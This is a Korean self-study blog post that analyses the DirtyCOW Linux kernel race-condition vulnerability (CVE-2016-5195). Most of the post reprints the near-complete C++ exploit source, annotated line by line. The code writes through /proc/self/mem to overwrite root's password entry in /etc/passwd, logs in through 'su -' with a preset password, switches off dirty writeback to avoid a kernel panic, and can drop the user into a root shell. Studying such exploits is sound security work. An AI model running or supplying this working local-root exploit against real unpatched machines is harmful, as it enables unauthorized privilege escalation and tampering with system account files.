DirtyCOW CVE 2016-5195

2018. 6. 15. 17:370x04 pwnable

728x90

DirtyCOW에 대해 꽤나 많이 늦었다고 생각하지만 공부를 해보았다.


코드는 GITHUB에서 참조하였다. 


https://github.com/gbonacini/CVE-2016-5195 


우선, 요약하자면 DirtyCOW는 Linux 커널 내 메모리서브 시스템에 

copy-on-write를 할 때 race condition을 발생시킬 수 있는 취약점이다.


이 당시 취약했던 버전은 Ubuntu 14.04.1,14.04.5,16.04.1,16.10이었는데 

현재는 16.10에서 익스플로잇이 되지 않았다.


내가 생각하기에 DirtyCOW 취약점의 핵심 몇 가지 

틀렸다면 언제든지 지적 받겠습니다. 더 열심히 공부하겠습니다.

1. Race Condition

하나의 자원을 두고 여러 개의 프로세스가 점유할 때 발생하는 취약점 

(이전에 Race Condition 문제를 풀 때는 2개의 바이너리를 만든 뒤 

동시에 접근하기 위해 스크립트로 실행을 시켰었는데 해당 DirtyCOW poc를 보니 정석적인 Race condition은 Thread를 사용하는 것으로 추측할 수 있었다.


2. /proc/self/mem의 기능 변경 

사실상, /proc/self/mem은 프로세스 가상메모리의 정보가 올라오는 곳인데 

읽기 권한만 부여되어 있다. 하지만, prot를 변경할 수가 있었다.


3. 커널에 메모리를 쓰기 위해 메모리 공간을 준비해주는 기능은 madvise함수이다. 이 함수를 통해 직접적으로 레이스컨디션이 가능한 환경을 구성해준 것으로 판단하였다.


4. sudo - 명령을 통해 root권한 뿐만 아니라 root에서 사용하는 환경변수까지 다 가지고 올 수 있다.


5. 실제 최고 권한인 root의 이름을 바꾸어 버린다. 


6. 커널 패닉 우회 

: 호스트가 아닌 VM기반에서는 /proc/sys/vm/dirty_writeback_centisec라는 경로가 1이 되어 있는데 이를 echo 명령을 통해 0으로 변경하므로써 패닉을 우회한다. 



직접 정적분석 한 것 


1. 정의 된 값들 

#define  BUFFSIZE    1024 // 블럭 사이즈 

#define  DEFSLTIME   300000 // 레이스컨디션에 이용될 것으로 추정 됨 

#define  PWDFILE     "/etc/passwd" // 사용자 계정 정보가 담긴 기본 파일 

#define  BAKFILE     "./.ssh_bak" // 백업 경로 

#define  TMPBAKFILE  "/tmp/.ssh_bak" // 임시파일 생성 경로 

#define  PSM         "/proc/self/mem" // 프로세스 가상메모리 

#define  ROOTID      "root:" // 최고 권한 부여 

#define  SSHDID      "sshd:" // 원격 실행 위함 

#define  MAXITER     300   // 시간 

#define  DEFPWD      // 세팅된 패스워드  "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"

#define  TXTPWD      "dirtyCowFun\n" // DirtyCOW 발생 후 피해자에게 보여주는 멘트 

#define  DISABLEWB   "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n" // 경로 (커널 패닉 방지)

#define  EXITCMD     "exit\n"

#define  CPCMD       "\\cp "

#define  RMCMD       "\\rm "


2. DirtyCOW 클래스 정의 

class Dcow{ // DirtyCow 클래스 정의 

    private:

       bool              run,        rawMode,     opShell,   restPwd;

       void              *map; // 매핑에 사용 됨 

       int               fd,         iter,        master,    wstat;

       string            buffer,     etcPwd,      etcPwdBak,

                         root,       user,        pwd,       sshd;

       thread            *writerThr, *madviseThr, *checkerThr; // 3개의 스레드 사용 

       ifstream          *extPwd;   // 입력 

       ofstream          *extPwdBak; // 출력 

       struct passwd     *userId;

       pid_t             child;  

       char              buffv[BUFFSIZE]; // 1024 bytes block size 

       fd_set            rfds;

       struct termios    termOld,    termNew;

       ssize_t           ign;


       void exitOnError(string msg);

    public:

       Dcow(bool opSh, bool rstPwd);

       ~Dcow(void);

       int  expl(void);         

};


3. DirtyCOW 생성자 

// main함수에서 opSh가 True로 세팅이 된다면 쉘이 따임 

Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),

                   iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),

                   madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr), 

                   child(0){ 

   userId = getpwuid(getuid()); // 대부분의 악성코드들은 사용자의 id로 사용자 정보를 구한다 

   

   /*

   사용자의 정보를 담은 passwd 구조체는 pwd.h에 정의되어 있다. 아래는 passwd의 구조체 멤버들이다.


char *pw_name : 사용자의 로그인 이름

uid_t pw_uid : UID

gid_t pw_gid : GID 

char *pw_dir : 사용자의 홈디렉토리

char *pw_gecos : 사용자의 전체 이름

char *pw_shell : 사용자의 기본 쉘

   */

   user.append(userId->pw_name).append(":"); // example c0nstant:

   extPwd = new ifstream(PWDFILE);    // 파일 입력

   while (getline(*extPwd, buffer)){

       buffer.append("\n");

       etcPwdBak.append(buffer);

       if(buffer.find(root) == 0){ // buffer에 담긴 내용 중 root가 있는지 여부 파악 

          etcPwd.insert(0, root).insert(root.size(), pwd);

          etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(), 

                        buffer.begin() + buffer.find(":", root.size()), buffer.end());

       }else if(buffer.find(user) == 0 ||  buffer.find(sshd) == 0 ){ // user혹은 sshd 여부 파악 

          etcPwd.insert(0, buffer); // etcPwd의 0번째 인덱스에 buffer 삽입 

       }else{

          etcPwd.append(buffer); // etcPwd+buffer 

       }

   }

   extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE); // 파일 출력

   extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size()); //

   extPwdBak->close();

   fd = open(PWDFILE,O_RDONLY);

   map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);

//MAP_PRIVATE : 다른 프로세서와 공유하지 않음

//PROT_READ : 페이지 읽기 허용 

}



4. DirtyCOW 소멸자 

Dcow::~Dcow(void){

   extPwd->close();

   close(fd);

   delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;

   if(rawMode)    tcsetattr(STDIN_FILENO, TCSANOW, &termOld);

   if(child != 0) wait(&wstat); 

}


5. 예외 처리 구문 

void Dcow::exitOnError(string msg){

      cerr << msg << endl;

      throw new exception();

}


6. 핵심 기능

int  Dcow::expl(void){

   // 스레드 여러개 생성하여 각각 역할 부여 

// 무한히 매핑을 시도한다.

// -> This is racecondition 

// madvise 함수 : 메모리를 쓰기 전에 "커널"에 메모리 공간을 준비해주는 기능 

// madvise는 파일의 용량이 클 경우 사용하게 되면 성능 향상이 가능하다 .

// 생성자에서 세팅한 etcPwdBak's size

// 클래스 멤버함수를 스레드로 실행시키는 방법으로 람다를 이용한 코드  

   

   madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} });

   

   writerThr  = new thread([&](){ int fpsm = open(PSM,O_RDWR);  

   // 가상메모리를 읽어오는 것 뿐만 아니라 쓰기 권한까지 부여함으로써 수정이 가능하게 해둠 

   

                                  while(run){ lseek(fpsm, reinterpret_cast<off_t>(map), SEEK_SET); 

                                              ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }

                                });


   checkerThr = new thread([&](){ while(iter <= MAXITER){ 

                                         extPwd->clear(); extPwd->seekg(0, ios::beg); 

                                         buffer.assign(istreambuf_iterator<char>(*extPwd),

                                                       istreambuf_iterator<char>());

                                         if(buffer.find(pwd) != string::npos && 

                                            buffer.size() >= etcPwdBak.size()){

                                                run = false; break;

                                         }

// RACECONDITION 시간 으로 추정 

                                         iter ++; usleep(DEFSLTIME);

                                   }

                                   run = false;

                                 });


  cerr << "Running ..." << endl;

  madviseThr->join(); // 커널에 메모리 공간 준비하던 자식 프로세스 종료 

  writerThr->join(); // 가상메모리 쓰기 영역 다 쓰고 자식 프로세스 종료 

  checkerThr->join(); // 


  if(iter <= MAXITER){ 

       child = forkpty(&master, nullptr, nullptr, nullptr);


   // forkpty 

   /*

   forkpty () 함수는 openpty (), fork (2) 및 login_tty ()를 결합하여 의사 터미널에서 작동하는 새 프로세스를 만듭니다. 

   pseudoterminal의 마스터 측의 파일 디스크립터는 amaster로 리턴되고 NULL이 아닌 경우 이름에 슬레이브의 파일 이름이 리턴됩니다. 

   termp 및 winp 인수는 NULL이 아닌 경우 pseudoterminal의 슬레이브 측의 터미널 속성 및 창 크기를 결정합니다.

   */

   

       if(child == -1) exitOnError("Error forking pty."); // Occur Error ! 


       if(child == 0){  //  forkpty의 반환값이 0일 경우 자식 프로세스의 ID를 반환한다. 자식 프로세스는 항상 pid가 0이다.

          execlp("su", "su", "-", nullptr); 

  // 첫 번째 인자 su : 프로그램이 있는 경로  -> 사실상 su라는 명령어이자 프로세스는 환경변수에 세팅이 되어 있음 

  // 두 번째 인자 su : 해당 dcow프로세스에서 su 실행 시 사용 할 프로그램 명 이라고 생각하면 될 듯 

  // -> execlp의 두번째 인자는 아무 문자열이든 가능하다고 들었던 것 같음

  // 세 번째 인자 "-" : 이 녀석은 su의 argv[1]로 사용되기 때문에 su - 라고 생각하면 된다.

  //  su - : root 유저 홈 디렉터리 이동 && root 유저 환경변수 read -> set 

          exitOnError("Error on exec.");

       }


   

       if(opShell) cerr << "Password overridden to: " <<  TXTPWD << endl;

       memset(buffv, 0, BUFFSIZE); // 메모리 초기화 

       ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1); // BUFFSIZE에서 NULL 이전 바이트만큼 입력

       

   // 1byte도 읽어 오지 못할 경우 Occur Error 

   // 즉 read함수의 반환 값이 -1인 경우 

   if(bytes_read <= 0) exitOnError("Error reading  su prompt.");

       cerr << "Received su prompt (" << buffv << ")" << endl; 


   

       if(write(master, TXTPWD, strlen(TXTPWD)) <= 0) 

            exitOnError("Error writing pwd on tty.");


       if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0) 

            exitOnError("Error writing cmd on tty.");


       if(!opShell){

            if(write(master, EXITCMD, strlen(EXITCMD)) <= 0) 

                 exitOnError("Error writing exit cmd on tty.");

       }else{

           if(restPwd){

               string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n");

               if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) 

                    exitOnError("Error writing restore cmd on tty.");

               restoreCmd        = string(RMCMD).append(TMPBAKFILE).append("\n");

               if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) 

                    exitOnError("Error writing restore cmd (rm) on tty.");

           }


           if(tcgetattr(STDIN_FILENO, &termOld) == -1 )

                exitOnError("Error getting terminal attributes.");

    

           termNew               = termOld;

           termNew.c_lflag       &= static_cast<unsigned long>(~(ICANON | ECHO));

    

           if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)

                exitOnError("Error setting terminal in non-canonical mode.");

           rawMode = true;

    

           while(true){

                FD_ZERO(&rfds);

                FD_SET(master, &rfds);

                FD_SET(STDIN_FILENO, &rfds);

    

                if(select(master + 1, &rfds, nullptr, nullptr, nullptr) < 0 )

                    exitOnError("Error on select tty.");

    

                if(FD_ISSET(master, &rfds)) {

                    memset(buffv, 0, BUFFSIZE);

                    bytes_read = read(master, buffv, BUFFSIZE - 1);

                    if(bytes_read <= 0) break;

                    if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)

                          exitOnError("Error writing on stdout.");

                }

    

                if(FD_ISSET(STDIN_FILENO, &rfds)) {

                    memset(buffv, 0, BUFFSIZE);

                    bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);

                    if(bytes_read <= 0) exitOnError("Error reading from stdin.");

                    if(write(master, buffv, bytes_read) != bytes_read) break;

                }

            }

      }

  }

 

  return [](int ret, bool shell){ 

       string msg = shell ? "Exit.\n" : string("Root password is:   ") + TXTPWD + "Enjoy! :-)\n";

       if(ret <= MAXITER){cerr << msg; return 0;} // 익스플로잇 성공 

       else{cerr << "Exploit failed.\n"; return 1;} 

  }(iter, opShell);

}


void printInfo(char* cmd){

      cerr << cmd << " [-s] [-n] | [-h]\n" << endl;

      cerr << " -s  open directly a shell, if the exploit is successful;" << endl;

      cerr << " -n  combined with -s, doesn't restore the passwd file." << endl;

      cerr << " -h  print this synopsis;" << endl;

      cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl;

      cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl;

      cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl;

      exit(1);

}


7. 메인함수

int main(int argc, char** argv){

   const char  flags[]   = "shn";

   int         c;

   bool        opShell   = false, // 초기세팅은 false

               restPwd   = argc != 1 ? true : false;


   opterr = 0;

   while ((c = getopt(argc, argv, flags)) != -1){

      switch (c){

         case 's': // s라는 인자가 수행되면 Shell 활성화 

            opShell = true;

         break;

         case 'n':

            restPwd = false;

         break;

         case 'h':

            printInfo(argv[0]);

         break;

         default:

            cerr << "Invalid parameter." << endl << endl;

            printInfo(argv[0]);

      }

   }


   // 하나라도 만족하지 못하면 Occur Error 

   if(!restPwd && !opShell && argc != 1){

            cerr << "Invalid parameter: -n requires -s" << endl << endl;

            printInfo(argv[0]);

   }


   

   Dcow dcow(opShell, restPwd); 

   return dcow.expl();

}


'0x04 pwnable' 카테고리의 다른 글

[Rootme] ARM Stack Buffer Overflow  (1) 2019.01.29
bss bufferoverflow 정리  (0) 2018.08.08
xinetd.d 세팅  (0) 2018.05.16
Core Dump  (0) 2018.05.15
unbounded latency 공부중..  (0) 2018.05.04